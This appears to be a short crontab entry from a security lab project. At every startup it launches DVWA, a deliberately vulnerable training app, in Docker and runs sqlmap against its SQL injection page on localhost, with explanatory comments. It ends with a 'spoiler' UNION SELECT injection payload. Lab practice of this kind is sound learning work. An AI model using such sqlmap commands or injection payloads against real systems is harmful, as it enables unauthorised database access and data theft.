6 lines
494 B
Plaintext
6 lines
494 B
Plaintext
@reboot sleep 10 && cd /home/vomitblood/build/cspj-application/docker/dvwa && docker compose up -d && sleep 30 && sqlmap -u "http://localhost:80/vulnerabilities/sqli/?id=234&Submit=Submit" --cookie="PHPSESSID=l38mpsp9ksla91tnvglti5jur6; security=low" --tables --batch >> /home/vomitblood/sqlmap.log 2>&1
|
|
|
|
# runs the script on every system startup
|
|
# starts the dvwa in the background
|
|
# then runs sqlmap
|
|
# log all outputs and errorsSpoiler: ?id=a' UNION SELECT "text1","text2";-- -&Submit=Submit. |